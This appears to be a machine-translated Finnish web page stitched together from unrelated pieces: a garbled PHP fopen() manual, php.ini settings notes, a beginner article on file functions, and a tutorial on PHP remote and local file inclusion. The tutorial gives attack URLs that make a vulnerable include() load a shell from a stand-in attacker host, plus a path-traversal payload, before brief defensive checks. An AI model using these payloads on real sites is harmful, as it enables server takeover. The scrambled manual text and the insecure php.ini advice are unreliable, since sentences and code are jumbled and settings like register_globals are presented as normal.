Kotiin / Pelikonsolit / Työskentely tiedostojen kanssa php:ssä: avaaminen, kirjoittaminen, lukeminen. Estääkö PHP proc_open verkkopyynnön? Virheiden käsittely ja lokit

Työskentely tiedostojen kanssa php:ssä: avaaminen, kirjoittaminen, lukeminen. Estääkö PHP proc_open verkkopyynnön? Virheiden käsittely ja lokit

(PHP 4, PHP 5, PHP 7)

fopen - Avaa tiedoston tai URL-osoitteen

Kuvaus

Resurssi fopen (merkkijono $tiedostonimi , merkkijono $tila [, bool $use_include_path = false [, resurssi $context ]])

fopen() määrittää tiedostonimen argumentissa määritetyn nimetyn resurssin virralle.

Luettelo parametreista

Jos tiedostonimi välitetään muodossa "scheme://...", sitä pidetään URL-osoitteena ja PHP etsii protokollakäsittelijää (tunnetaan myös nimellä "kääre") tälle skeemalle protokolla, PHP antaa varoituksen, joka auttaa sinua jäljittämään skriptissäsi olevan mahdollisen ongelman ja jatkamaan sitten suorittamista ikään kuin tiedostonimi osoittaisi tavalliseen tiedostoon.

Jos PHP asettaa tiedostonimen osoittamaan paikallista tiedostoa, se yrittää avata virran kyseiseen tiedostoon.

Tiedoston on oltava PHP:n käytettävissä, joten sinun tulee varmistaa, että tiedoston käyttöoikeudet sallivat tämän.

Jos olet ottanut käyttöön vikasietotilan tai open_basedir, sovelletaan muita rajoituksia.:

Jos PHP määrittää, että tiedostonimi osoittaa rekisteröityyn protokollaan ja tämä protokolla on rekisteröity verkko-URL-osoitteeksi, PHP tarkistaa allow_url_fopen-direktiivin tilan. Jos se on poistettu käytöstä, PHP antaa varoituksen ja fopen-kutsu epäonnistuu. Kommentti Luettelo tuetuista protokollista on saatavilla Tuetut protokollat ​​ja kääreet -osiossa. Jotkut protokollat ​​( kääreet kääreen käyttämä http).

Windows-alustalla sinun on vältettävä kaikki kenoviivat tiedostopolussa tai käytettävä kenoviivaa.

$kahva = fopen("c:\\kansio\\resurssi.txt" , "r" );
?>

Mode-parametri määrittää säikeeltä pyytämäsi käyttöoikeuden tyypin. Se voi olla yksi seuraavista vaihtoehdoista:

Luettelo mahdollisista tiloista fopen() tilan avulla
-tilassa Kuvaus
"r" Avaa tiedoston vain luku -tilassa; asettaa osoittimen tiedoston alkuun.
"r+" Avaa tiedoston lukemista ja kirjoittamista varten; asettaa osoittimen tiedoston alkuun.
"w" Avaa tiedoston vain kirjoittamista varten; asettaa osoittimen tiedoston alkuun ja lyhentää tiedoston pituuteen.
Jos tiedostoa ei ole olemassa, se yrittää luoda sen. "w+"
Avaa tiedoston lukemista ja kirjoittamista varten; asettaa osoittimen tiedoston alkuun ja lyhentää tiedoston pituuteen. Jos tiedostoa ei ole olemassa, se yrittää luoda sen.
"a" Avaa tiedoston vain kirjoittamista varten; asettaa osoittimen tiedoston loppuun. Jos tiedostoa ei ole olemassa, se yrittää luoda sen.
"a+" Avaa tiedoston lukemista ja kirjoittamista varten; asettaa osoittimen tiedoston loppuun. Jos tiedostoa ei ole olemassa, se yrittää luoda sen. fopen()"x" Luo ja avaa vain kirjoittamista varten; asettaa osoittimen tiedoston alkuun. Jos tiedosto on jo olemassa, soita päättyy epäonnistumiseen, palaa takaisin EPÄTOSI ja antaa tasovirheen E_VAROITUS. Jos tiedostoa ei ole olemassa, se yrittää luoda sen. Tämä vastaa lippujen määrittämistä.
O_EXCL|O_CREAT sisäiseen järjestelmäpuheluun "a+".
auki (2) "x+" "w" Luo ja avaa lukemista ja kirjoittamista varten; muuten käyttäytyy samalla tavalla kuin "a+""c" Avaa tiedoston vain kirjoittamista varten. Jos tiedostoa ei ole olemassa, se luodaan. Jos tiedosto on olemassa, sitä ei katkaista (toisin kuin "w"), ja tämän funktion kutsuminen ei aiheuta virhettä (kuten ). Tiedostoosoitin asetetaan tiedoston alkuun. Tästä voi olla hyötyä, jos haluat lukita tiedoston (katso parvi ()
) ennen vaihtamista, käytön jälkeen voi katkaista tiedoston ennen kuin lukko on hankittu (jos haluat katkaista tiedoston, voit käyttää toimintoa auki (2).

Jos olet ottanut käyttöön vikasietotilan tai open_basedir, sovelletaan muita rajoituksia.:

ftruncate() estopyynnön jälkeen)."c+" Avaa tiedoston lukemista ja kirjoittamista varten; muuten käyttäytyy samalla tavalla kuin Eri käyttöjärjestelmäperheillä on erilaiset rivinpäätteet koskevat käytännöt. Kun kirjoitat tekstiä ja haluat lisätä rivinvaihdon, sinun on käytettävä oikeita merkkejä (tai symbolia). käyttöjärjestelmä. Unix-perheen järjestelmät \n kuten rivin loppumerkit ja Macintosh-järjestelmät käyttävät \r rivin lopun merkkinä.

Jos käytät väärää rivinpäätemerkkiä tiedostoja muokkaaessasi, saatat huomata, että tiedostot näyttävät "oudolta", kun avaat ne.

Windows tarjoaa tekstilähetystilan lipun ( "t"), joka käännetään automaattisesti Avaa tiedoston lukemista ja kirjoittamista varten; muuten käyttäytyy samalla tavalla kuin V \n kun työskentelet tiedoston kanssa. Ja päinvastoin - voit myös käyttää"b" Ja päinvastoin - voit myös käyttää pakottaaksesi binaaritilan, joka ei muunna tietojasi. Jos haluat käyttää näitä tiloja, määritä "t" tai

tilaparametrin viimeinen kirjain. "t" Koska oletuskäännöslipun asetus riippuu SAPI:sta ja käyttämästäsi PHP-versiosta, suosittelemme, että määrität määritetyn lipun erikseen siirrettävyyden vuoksi. Sinun on käytettävä tilaa jos työskentelet tekstitiedosto Avaa tiedoston lukemista ja kirjoittamista varten; muuten käyttäytyy samalla tavalla kuin ja käyttää Ja päinvastoin - voit myös käyttää.

Voit merkitä skriptin rivin lopun murehtimatta tiedostojesi luettavuudesta muissa sovelluksissa, kuten Muistiossa. Kaikissa muissa tapauksissa käytä lippua \n.

Jos olet ottanut käyttöön vikasietotilan tai open_basedir, sovelletaan muita rajoituksia.:

Jos et nimenomaisesti määritä "b"-lippua työskennellessäsi binääritiedostojen kanssa, saatat kokea omituisia tietojasi, kuten vioittuneet kuvatiedostot ja outoja symboli-ongelmia. fopen() .

Jos olet ottanut käyttöön vikasietotilan tai open_basedir, sovelletaan muita rajoituksia.:

Siirrettävyyden vuoksi on erittäin suositeltavaa käyttää aina "b"-merkkiä avattaessa tiedostoja "t" Lisäksi siirrettävyyden vuoksi on myös erittäin suositeltavaa kirjoittaa uudelleen vanha koodi, joka perustuu Ja päinvastoin - voit myös käyttää.

niin, että se käyttää sen sijaan oikeita rivinpätteitä ja -tilaa

use_include_path Valinnainen kolmas parametri use_include_path voidaan asettaa arvoon "1" tai TOTTA

jos haluat myös etsiä tiedostoa hakemistosta include_path .

Jos olet ottanut käyttöön vikasietotilan tai open_basedir, sovelletaan muita rajoituksia.: Konteksti Kontekstituki lisättiin PHP 5.0.0:aan. Kuvaus konteksteissa

katso Streamit-osio.

Palautusarvot Luo ja avaa vain kirjoittamista varten; asettaa osoittimen tiedoston alkuun. Jos tiedosto on jo olemassa, soita Palauttaa osoittimen tiedostoon, jos onnistuu, tai

virheen sattuessa.

Virheet EPÄTOSI Jos tiedostoa ei voitu avata, syntyy tasovirhe

. Voit käyttää operaattoria estämään tämän virheen.

Luettelo muutoksista

Esimerkkejä fopen()

Esimerkki #1 Käyttöesimerkkejä
$kahva = fopen("/home/rasmus/file.txt" , "r" );
$kahva = fopen("/home/rasmus/file.gif" , "wb" );
$kahva = fopen("http://www.example.com/" , "r" ); $kahva = fopen ( "ftp://käyttäjä:[sähköposti suojattu]/jokutiedosto.txt"
?>

, "w" );

Huomautuksia

Huomio SSL-salausta käytettäessä Microsoft IIS rikkoo protokollaa sulkemalla yhteyden lähettämättä ilmaisinta. PHP ilmoittaa tämän nimellä "SSL: Fatal Protocol Error" heti, kun saavutat tietojen loppumisen. Voit kiertää tämän asettamalla error_reporting tasolle, joka sulkee pois E_WARNING:n. PHP-versiot 4.3.7 ja sitä vanhemmat voivat havaita, että palvelinpuolella on ongelmallinen IIS, kun stream avataan käärettä käyttäen https:// eikä näytä varoitusta. Jos käytät fsockopen() luomaan ssl:// pistorasiaan, on sinun vastuullasi havaita ja vaimentaa tämä varoitus.

Jos olet ottanut käyttöön vikasietotilan tai open_basedir, sovelletaan muita rajoituksia.: Kun vikasietotila on käytössä, PHP tarkistaa, onko hakemistolla, jota aiot käsitellä, sama UID (omistaja) kuin suoritettavalla komentosarjalla.

Jos olet ottanut käyttöön vikasietotilan tai open_basedir, sovelletaan muita rajoituksia.:

Jos kohtaat ongelmia tiedostojen lukemisen tai kirjoittamisen aikana ja käytät PHP:tä palvelinmoduulina, varmista, että palvelinprosessilla on pääsy käyttämiisi tiedostoihin ja hakemistoihin.

Jos olet ottanut käyttöön vikasietotilan tai open_basedir, sovelletaan muita rajoituksia.:

Tämä toiminto voi myös onnistua, jos tiedostonimi on hakemisto. Jos et ole varma, onko tiedostonimi tiedosto vai hakemisto, sinun on käytettävä toimintoa is_dir() fopen() .

, ennen puhelua

  1. Php.ini-tiedoston sijainti riippuu käyttöjärjestelmästä, jossa palveluntarjoajan palvelin on käynnissä. Saat selville, missä se on, seuraamalla neljää yksinkertaista vaihetta:
  2. Luo php-tiedosto (nimi voi olla mikä tahansa, mutta otamme esimerkkinä myphpinfo.php) ja lisää siihen seuraavat rivit:
  3. Lataa tämä tiedosto palvelimelle, jossa sivustosi sijaitsee (juurikansioon).
  4. Käynnistämme selaimen kautta (kirjoita URL-osoite https://sivustosinimi.com/myphpinfo.php).

Etsi näkyviin tulevasta ikkunasta php.ini-polku (katso ensin "Ladattu määritystiedosto", jos siinä lukee "Ei mitään", katso sitten "Configuration File (php.ini) Path").

Kuinka php.ini määritetään? Php.ini-tiedostossa on seuraavat syntaksisäännöt "direktiive = arvo". Jos haluat lisätä kommentteja (esim. joissa kerrot, mikä vaikuttaa tämä asetus

), tee se sitten puolipisteen jälkeen (kaikki tämän merkin jälkeen tulevaa ei lasketa komennona). Tässä on esimerkki:

max_suoritusaika = 40 ; Skriptin suorittamisen sekuntien enimmäismäärä

Yleiset asetukset

PHPengine = Päällä ; PHP-skriptit ovat käytössä.

Short_open_tag = Päällä ; Mahdollistaa PHP-koodin yksinkertaistetun kehystyksen tageilla<% %>

Asp_tags = Päällä ; Mahdollistaa PHP-koodin korostamisen, kuten tehdään ASP:ssä -

tarkkuus = 12; Määrittää, kuinka monta numeroa on liukulukujen desimaalipilkun jälkeen.

Lähtöpuskurointi = 4096 ; Tulostuspuskurointi otetaan automaattisesti käyttöön, puskurin koko määritetään "yhtä kuin" jälkeen.

Safe_mode_allowed_env_vars = PHP_ ; Antaa käyttäjän työskennellä vain ympäristömuuttujien kanssa, jotka alkavat PHP_. Jos tämä ohje on tyhjä (sillä ei ole arvoa), käyttäjät voivat muuttaa mitä tahansa ympäristömuuttujia. Tämä voi olla erittäin haitallista komentosarjan tietoturvalle.

Safe_mode_protected_env_vars = LD_LIBRARY_PATH ; Estää pilkuilla eroteltujen muuttujien muuttamisen.

Disable_functions = ; Yhtävyysmerkin jälkeen sinun on kirjoitettava pois käytöstä poistettavat toiminnot pilkuilla erotettuina (yleensä tämä tehdään turvallisuuden vuoksi)

Disable_classes = ; Tasa-merkin jälkeen sinun on kirjoitettava pilkuilla erotettuina luokat, joiden kutsumisen haluat estää (yleensä tämä tehdään turvallisuuden vuoksi)

Resurssien rajoitus

max_suoritusaika = 40 ; Skriptin suorittamisen enimmäisaika (sekunteina)

Max_input_time = 40 ; Enimmäisaika sekunteina, joka komentosarjalle annetaan käsitellä ladattavia tietoja.

Muistiraja = 16M ; Yhdelle skriptille varattu enimmäismuisti

Virheiden käsittely ja lokit

error_reporting = E_ALL | E_ERROR | E_VAROITUS | E_PARSE | E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_COMPILE_WARNING | E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE ; Määrittää luettelon virheistä, jotka voidaan näyttää.

Display_errors = Päällä; Mahdollistaa virheiden näyttämisen suoraan selaimessa (käytetään usein virheenkorjauksen helpottamiseksi).

Display_startup_errors = Päällä ; PHP:n käynnistyksen aikana ilmenevät virheet ovat sallittuja.

Log_errors = Päällä ; Virheet voidaan kirjoittaa lokitiedostoon.

Log_errors_max_len = 1024; Merkkien enimmäismäärä, joka lokin pituus voi olla.

Track_errors = Päällä ; Viimeisimmät virheilmoitukset tallennetaan muuttujaan $php_errormsg

Html_errors = Päällä ; Salli virheilmoitusten näyttäminen HTML-muodossa.

Error_log = tiedostonimi ; Asettaa virhelokin nimen.

Tietojenkäsittely

variables_order = "EGPCS" ; Asettaa järjestyksen, jossa PHP rekisteröi muuttujat (E - sisäänrakennetut muuttujat, G - GET-muuttujat, P - POST-muuttujat, C - evästeet, S - istunnot). Jos poistat jonkin kirjaimista, vastaavien muuttujien toiminta estetään.

Register_globals = Päällä ; Mahdollistaa GET/POST/Cookie/session kautta tulevien muuttujien käsittelyn normaaleina muuttujina (esim. "$muuttujan nimi").

Register_argc_argv = Päällä ; On sallittua luoda $argv- ja $argc-muuttujia GET-menetelmän tietojen perusteella.

Viestin_maksimikoko = 8M ; Asettaa vastaanotettavissa olevan datan enimmäismäärän.

Magic_quotes_gpc = Päällä ; Mahdollistaa POST/GET/Cookien kautta vastaanotettujen tarjousten automaattisen käsittelyn.

Auto_prepend_file = ; PHP:n tulee käsitellä näissä ohjeissa määritettyjen tiedostojen sisältö vastaavasti ENNEN skriptin suorittamista
auto_append_file = ; PHP:n on käsiteltävä näissä ohjeissa määritettyjen tiedostojen sisältö vastaavasti Skriptin suorittamisen jälkeen.

Default_mimetype = "text/html" ; Asettaa sisältötyypin koodauksen. Oletuksena tekstiä/html-muotoa käytetään ilman koodausta

Asiakirjan_juuri = ; Asettaa PHP-skriptien juurikansion.

Extension_dir = "./" ; Määrittää kansion, johon dynaamisesti ladatut laajennukset tallennetaan.

Tiedostojen lataaminen

file_uploads = Päällä ; Tiedostojen lataaminen palvelimelle on sallittua.

Upload_tmp_dir = ; Väliaikainen hakemisto ladattaville tiedostoille.

Latauksen_suurin_tiedoston koko = 2M ; Asettaa ladattavan tiedoston enimmäiskoon.

Työskentely pistorasioiden kanssa

user_agent="PHP" ; USER_AGENT-muuttuja asetetaan, kun socket-yhteys muodostetaan.

Oletus_socket_timeout = 30 ; Enimmäisaika kuunteluun pistorasian kautta (sekuntia).

Istunnot

session.save_handler = tiedostot; Määrittää, että istuntotiedot on tallennettava tiedostoihin

session.save_path = /tmp ; Yhtävyysmerkin jälkeen sinun on määritettävä polku kansioon, johon tiedot istunnoista tallennetaan (on tärkeää, että kansio on jo olemassa)

session.use_cookies = 1 ; Sallii evästeiden käytön istunnoissa

istunto.nimi = PHPSESSID ; Osoittaa istuntotunnuksen käytön istunnon nimenä ja istunnon evästeenä

session.cookie_lifetime = 0 ; Istunnon kesto ("0" tarkoittaa, että istunto kestää, kunnes selainikkuna suljetaan)

session.use_trans_sid = 1 ; Jos käyttäjä on poistanut evästeet käytöstä, istuntotunnus lisätään kaikkiin linkkeihin

Dynaamiset laajennukset

laajennus=moduulinimi.laajennus ; Voidaan käyttää ulkoisten moduulien lataamiseen. Windows-järjestelmissä ne yleensä kirjoittavat extension=msql.dll ja for
UNIX - extension=msql.so

Työskentely MySQL-moduulien kanssa

mysql.allow_persistent = Päällä ; Mahdollistaa vakaat MySQL-yhteydet.

Mysql.max_persistent = -1 ; Asettaa vakaiden MySQL-yhteyksien enimmäismäärän. Jos määrität -1, tämä tarkoittaa, että rajoituksia ei ole.

Mysql.max_links = -1 ; Asettaa vakaiden MySQL-yhteyksien ja epävakaiden ODBC-yhteyksien enimmäismäärän. Jos määrität -1, tämä tarkoittaa, että rajoituksia ei ole.

Mysql.default_port = ; Portti mysql_connect-funktiolle.

Mysql.default_socket = ; Paikallisten MySQL-yhteyksien pistokkeen nimi.

Mysql.default_host = ; Isäntänimi mysql_connect-funktiolle.

Mysql.default_user = ; Käyttäjätunnus.

Mysql.default_password = ; Salasana.

Jos loit oman php.ini-tiedoston ja laitoit sen sivuston kansioon

Tässä tapauksessa sinun on turvallisuussyistä estettävä pääsy siihen kaikille paitsi sinulle. Tätä varten sinun on kirjoitettava seuraava koodi .htaccess-tiedostoon:


käske sallia, kieltää
kieltää kaikilta

Mutta ole varovainen, koska... Näillä asetuksilla kaikki käskyt (php_value, php_flag jne.), jotka liittyvät php-asetuksiin .htaccess-tiedoston kautta, lakkaavat toimimasta (näyttöön tulee 500 Internal Server Error).

Tärkeää! Jos luot oman php.ini-tiedoston, se vaikuttaa vain hakemistoon, jossa se sijaitsee.

resurssi fopen(merkkijonotiedoston nimi, merkkijonotila [, bool use_include_path [, resurssin zcontext]])

fopen() määrittää tiedostonimen argumentissa määritetyn nimetyn resurssin virralle. Jos tiedostonimi välitetään muodossa "scheme://...", sitä pidetään URL-osoitteena ja PHP etsii protokollakäsittelijää (tunnetaan myös nimellä "kääre") tälle skeemalle protokollaa, PHP antaa huomautuksen, joka auttaa sinua jäljittämään skriptissäsi olevan mahdollisen ongelman, ja jatkaa suoritusta ikään kuin tiedostonimi osoittaisi tavalliseen tiedostoon.

Jos PHP päättää, että tiedostonimi viittaa paikalliseen tiedostoon, se yrittää avata virran kyseiseen tiedostoon. Tiedoston on oltava PHP:n käytettävissä, joten sinun tulee varmistaa, että tiedoston käyttöoikeudet sallivat tämän. Jos vikasietotila tai open_basedir on käytössä, sovelletaan lisärajoituksia.

Jos PHP on päättänyt, että tiedostonimi osoittaa rekisteröityyn protokollaan ja tämä protokolla on rekisteröity verkko-URL-osoitteeksi, PHP tarkistaa allow_url_fopen-direktiivin tilan. Jos se on poistettu käytöstä, PHP antaa varoituksen ja fopen-kutsu epäonnistuu.

Kommentti: Jotkut protokollat ​​tukevat konteksti- ja/tai php.ini-asetuksia. Katso sopivalta protokollasivulta luettelo valittavissa olevista vaihtoehdoista. (esimerkiksi php.ini user_agent -arvoa käyttää http-kääre). Kuvaus konteksteista ja zcontext-parametreista on Stream Functions -osiossa.

Kommentti: Kontekstituki lisättiin PHP 5.0.0:aan.

Kommentti: PHP 4.3.2:sta lähtien binääritila on oletustila kaikille alustoille, jotka erottavat toisistaan ​​binaari- ja tekstitilat. Jos sinulla on ongelmia päivityksen jälkeen, yritä käyttää "t"-merkkiä kiertotapana, kunnes muutat komentosarjojasi parantaaksesi siirrettävyyttä, kuten edellä mainittiin.

Mode-parametri määrittää säikeeltä pyytämäsi käyttöoikeuden tyypin. Se voi olla jokin seuraavista:

Jos tiedostoa ei voitu avata, toiminto palautuu EPÄTOSI ja tuottaa tasovirheen E_VAROITUS. Voit käyttää tätä estämään tämän varoituksen.


Esimerkki 1. Esimerkkejä funktion käytöstä fopen()

Esimerkki #1 Käyttöesimerkkejä
$kahva = fopen("/home/rasmus/file.txt" , "r" );
$kahva = fopen("/home/rasmus/file.gif" , "wb" );
$kahva = fopen("http://www.example.com/" , "r" ); $kahva = fopen ( "ftp://käyttäjä:[sähköposti suojattu]/jokutiedosto.txt"
?>

Jos kohtaat ongelmia tiedostojen lukemisen tai kirjoittamisen aikana ja käytät PHP:tä palvelinmoduulina, varmista, että palvelinprosessilla on pääsy käyttämiisi tiedostoihin ja hakemistoihin.

16.5K

Itse asiassa php-tiedoston avaaminen ei ole suuri ongelma. Olutpullon avaaminen voi olla vaikeampaa, kun olet keskellä metsää. Mutta vain innokkaat ohjelmoijat ajattelevat näin. Ja aloittelijoille kerromme sinulle kaikista PHP:n ominaisuuksista tiedostojen kanssa työskentelemiseen:

php-tiedostoja

Tiedostot, joissa on php-tunniste, sisältävät koodia, joka on kirjoitettu samannimisellä ohjelmointikielellä. Toisin kuin muut kielet, php on palvelinpuolen ohjelmointikieli. Eli se toimii palvelinpuolella. Siksi sen koodin virheenkorjausta varten asiakaskoneelle on asennettava paikallinen palvelin.

Php-tiedostojen kanssa työskentelemiseen käytetään erityisiä sovelluksia - ohjelmistoeditoreja. Yleisimmät ovat:

  • Dreamweaver.
  • PHPEdit.
  • Eclipse PHP -kehitys.
Kun luot PHP-pohjaisia ​​verkkosivustoja, saatat joutua käyttämään ohjelmakoodia uudelleen. Tällaisissa tilanteissa on kätevää yhdistää toisessa tiedostossa olevia valmiita ratkaisuja. Tähän käytetään include-rakennetta. Sen syntaksi on:

sisältää tiedostonimen

Kytkentäesimerkki:

Mukana oleva tiedosto:


Tiedoston sisällyttäminen on myös mahdollista vaati-konstruktiolla. Toisin kuin include, se sisältää tiedoston ennen ohjelmakoodin suorittamista. Koodissa vaatimalla vain yksi kutsu tähän tiedostoon on mahdollista. Kun järjestelmä avataan uudelleen, se näyttää yleisen virheilmoituksen ja pysäyttää ohjelman suorittamisen.

Sisällyttävä rakenne sisältää vain lähteen ohjelman suorituksen aikana. Se tukee useita php-tiedostojen lukemista. Jos tapahtuu virhe, näyttöön tulee vain varoitusviesti ja koodin suoritus jatkuu seuraavalta riviltä.

Tiedostojen avaaminen ja sulkeminen

Php:ssä kaikki tiedostojen toiminnot suoritetaan useissa vaiheissa:

  • Tiedoston avaaminen;
  • Sisällön muokkaus;
  • Tiedoston sulkeminen.

Fopen()-funktiota käytetään tiedoston avaamiseen. Sen syntaksi on:

int fopen(merkkijonotiedoston nimi, merkkijonotila [, int use_include_path])

Hyväksytyt argumentit:

  • merkkijono tiedostonimi – tiedoston nimi tai absoluuttinen polku siihen. Jos tiedoston polkua ei ole määritetty, se etsitään nykyisestä hakemistosta. Jos etsimäsi tiedosto puuttuu, järjestelmä näyttää virheilmoituksen. Esimerkki:

  • merkkijonotila – ilmaisee tiedoston avaustilan. Argumentin hyväksymät arvot:
  • r – tiedosto avataan vain lukua varten, tiedoston osoitin asetetaan alkuun;
  • r+ – tiedosto on avoinna lukemista ja kirjoittamista varten;
  • w – luo uuden tiedoston vain kirjoittamista varten. Jos samanniminen tiedosto on jo olemassa, kaikki sen tiedot poistetaan automaattisesti.
  • w+ - luo uuden tiedoston kirjoittamista ja lukemista varten. Kun tällainen tiedosto on olemassa, sen tiedot korvataan kokonaan uusilla;
  • a – tiedosto on avoinna kirjoittamista varten. Osoitin asetetaan loppuun. Eli php-tiedostoon kirjoittaminen ei ala alusta, vaan lopusta;
  • a+ – avaa tiedoston luku-kirjoitustilassa. Tallennus alkaa lopusta;
  • b – tapa työskennellä binääridataa sisältävän tiedoston kanssa (binäärilukujärjestelmässä). Tämä tila on käytettävissä vain Windows-käyttöjärjestelmässä.

Voit sulkea tiedoston käytön fclose()-funktiolla. Syntaksi:

int fclose (int-tiedosto) , jossa int-tiedosto on suljettavan sivuston kahva.

Jokaisen lukemisen tai kirjoittamisen jälkeen tiedosto on suljettava tällä toiminnolla. Muussa tapauksessa tiedostolle luotu stream pysyy auki. Ja tämä johtaa tarpeettomasti palvelimen kapasiteetin kulutukseen.

Esimerkki:

Tiedostojen lukeminen ja kirjoittaminen

Jos haluat yksinkertaisesti näyttää tiedoston koko sisällön, readfile()-funktio on ihanteellinen. Sen syntaksi on:

readfile (merkkijonotiedoston nimi) , jossa merkkijonotiedoston nimi on merkkijonotiedoston nimi (ei kahva).


Sama tiedosto voidaan lukea fpassthru()-funktiolla. Se lukee tiedot pääteosoittimen sijainnista tiedoston loppuun. Sen syntaksi on:

int fpassthru (int-tiedosto)

Toiminto vaatii tiedoston avaamisen ja sulkemisen. Esimerkki:

Tulos on samanlainen kuin edellinen.

Toiminnot php-tiedostojen käsittelyyn mahdollistavat sisällön lukemisen rivi riviltä ja merkki merkiltä:

  • merkkijono fgets (int-tiedosto, int pituus)– funktio lukee merkkijonon, jonka pituus on . Esimerkki:

  • merkkijono fread (int tiedosto, int pituus)– toiminto on sama kuin edellinen.

Tekstidatan kirjoittamiseksi tiedostoon on kaksi identtistä toimintoa:

  • int fputs (int-tiedosto, merkkijono [, int pituus ])
  • int fwrite(int tiedosto, merkkijono [, int pituus ])

Funktiot kirjoittavat tiedostoon int-tiedostoon määritetyn pituisen merkkijonon int ( valinnainen argumentti). Esimerkki:

Tiedostojen luominen ja poistaminen

Voit luoda php-tiedoston käyttämällä fopen()-funktiota "w"- tai "w+"-käyttötilassa. Tai touch()-toiminto. Se asettaa tiedoston muokkausajan. Jos etsityllä nimellä ei ole elementtiä, se luodaan. Sen syntaksi.

PHP-injektion perusteet aloittelijoille.​


PHP-injektio(eng. PHP-injektio) - noin Yksi tavoista hakkeroida PHP:llä toimivia verkkosivustoja on suorittaa vieras koodi palvelimen puolella. Mahdollisesti vaarallisia toimintoja ovat:
eval(),
preg_replace() (e-muuntimella),
vaatia_once(),
include_once(),
sisällyttää(),
vaatia(),
create_function().

PHP-injektio tulee mahdolliseksi, jos syöttöparametrit hyväksytään ja niitä käytetään ilman vahvistusta.

Laajenna napsauttamalla...

(c) Wiki


Perusasiat.​

Php-injektio- Tämä on eräänlainen hyökkäys verkkosivustoa vastaan, kun hyökkääjä ruiskuttaa PHP-koodinsa hyökättyyn PHP-sovellukseen.
Jos injektio onnistuu, hyökkääjä voi suorittaa mielivaltaisen (mahdollisesti vaarallisen) PHP-koodin kohdepalvelimella. Esimerkiksi täytä kuori. Mutta ensin keskustellaan yksityiskohtaisesti, kuinka tämä tapahtuu.

Esimerkiksi:
Kuvitellaan, että meillä on PHP:llä kirjoitettu verkkosivusto.
Kuvitellaan myös, että sivusto käyttää komentoa sivu=sivu.html näyttääksesi pyydetyn sivun.
Koodi näyttää tältä:

$tiedosto = $_GET ["sivu" ]; //Näytössä oleva sivu
include($tiedosto);
?>

Tämä tarkoittaa, että kaikki sivulla näkyvä upotetaan kyseisen sivun PHP-koodiin. Siksi hyökkääjä voisi tehdä jotain kuten:

http: //www.attacked_site.com/index.php?page=http://www.attacked_server.com/malicious_script.txt?

Jos tarkastelemme, mitä tapahtuu sisällytyksen suorittamisen jälkeen, näemme seuraavan koodin suoritettuna kohdepalvelimella:

$tiedosto = "http://www.attack_server.com/malicious_script.txt?"; //$_GET["sivu"];
include($tiedosto); //$tiedosto on hyökkääjän syöttämä komentosarja
?>

Näemme, että hyökkääjä on hyökännyt onnistuneesti kohdepalvelimeen.

Lisätietoja:
Joten miksi hyökkääjä pystyi tekemään PHP-injektion?
Kaikki toiminnan takia sisällyttää () voit suorittaa etätiedostoja.

Miksi esimerkissä määritettiin komentosarja, jonka laajennus on? *.txt , ei *.php ?
Vastaus on yksinkertainen, jos käsikirjoituksella olisi muoto *.php , se toimisi hyökkääjän palvelimella eikä kohdejärjestelmässä.

Myös symboli " lisättiin ? " syötetyssä komentosarjapolussa poistaaksesi kaiken funktion sisältä sisällyttää () kohdepalvelimella.
Esimerkki:

$tiedosto = $_GET ["sivu" ];
include($file . ".php" );
?>

Tämä komentosarja lisää laajennuksen *.php mihin tahansa komennon kutsumaan sisällyttää () .
Ne.

http: //www.attack_server.com/malicious_script.txt

muuttuu

http: //www.attack_server.com/malicious_script.txt.php

Komentosarja ei toimi tällä nimellä (tiedostoa ei ole hyökkääjän palvelimella /malicious_script.txt.php)
Siksi lisäämme "?" haitallisen skriptin polun loppuun:

http: //www.attack_server.com/malicious_script.txt?.php

Mutta se pysyy suoritettavana.

PHP-injektioiden suorittaminen include()-funktion haavoittuvuuden kautta.​

RFI - kaukosäädin mukana PHP-injektion aikana.​


Kyky suorittaa RFI:tä on melko yleinen vika moottoreissa.
Löydät sen seuraavasti:
Oletetaan, että törmäämme vahingossa selaimen osoiteriville sivulle, joka päättyy näin:

/indeksi. php? sivu = pää

Korvaamme sen sijaan pää mikä tahansa harhallinen merkitys esimerkiksi upyachka

/indeksi. php? sivu = upyachka

Vastauksena saamme virheilmoituksen:

Varoitus: main (upyachka. php): streamin avaaminen epäonnistui: Ei tällaista tiedostoa tai hakemistoa / home / user / www //page.php rivillä 3

Varoitus: main (upyachka. php): virran avaaminen epäonnistui: Ei tällaista tiedostoa tai hakemistoa / home / user / www / page. php verkossa 3

Varoitus : main (): "upyachka.php":n avaaminen sisällyttämiseksi epäonnistui (include_path = ".:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear") hakemistossa /home/user/www/page. php verkossa 3

Tämä osoittaa meille, että sisällyttäminen on mahdollista.
Yritetään korvata upyachka sivusto, jossa on komentotulkin polku (shell-tiedostotunnistetta ei pidä määrittää tai ilmoita se yllä kuvatulla tavalla)

http: //www.attacked_server.com/index.php?file=http://www.attack_site.com/shell

Näin kuori saadaan. Nyt sinun on ilmoitettava sivuston ylläpitäjälle haavoittuvuudesta, jotta hän voi korjata sen, jotta pahat kaverit eivät käytä vikaa hyväkseen.

LFI - paikallinen sisällytys PHP-injektioon.​


Kuvitellaan, että törmäsimme samaan haavoittuvaan sivustoon

/indeksi. php? file=main

Koodin kanssa

..
Sisällytä ("kansio/ $sivu .htm" );

?>

Tämä on jo paikallinen sisällyttäminen. Tässä tilanteessa vain tiedostojen listaus on mahdollista:

/indeksi. php? sivu =../ hakemisto . php

Seuraavassa tapauksessa koodi näyttää tältä:

..
Include("$dir1/folder/page.php");

?>

Tässä tapauksessa voit kirjoittaa kuoren polun seuraavasti:
Luo kansio kansio pudota komentotulkki tähän kansioon sivustossa, jossa komentotulkki on tallennettu:

http: //www.attack_site.com/folder/shell.php

Tässä tapauksessa injektio näyttää tältä:

indeksi. php? dir1 = http : //www.site_attacker.com/

Suojausmenetelmät


Katsotaanpa käsikirjoitusta:

...

sisältää $moduulin. ".php" ;
...
?>

Tämä komentosarja on haavoittuvainen muuttujan sisällön vuoksi $moduuli juuri lisätty *.php ja tiedosto käynnistetään käyttämällä tuloksena olevaa polkua.

On olemassa useita tapoja suojautua tällaisilta hyökkäyksiltä:​


-Tarkista, sisältääkö $module-muuttuja ylimääräisiä merkkejä:

...
$moduuli = $_GET ["moduuli" ];
if (strpbrk ($moduuli , ".?/:" )) die("Estetty" );
sisältää $moduulin. ".php" ;
...
?>

-Tarkista, että $moduulille on määritetty jokin kelvollisista arvoista:
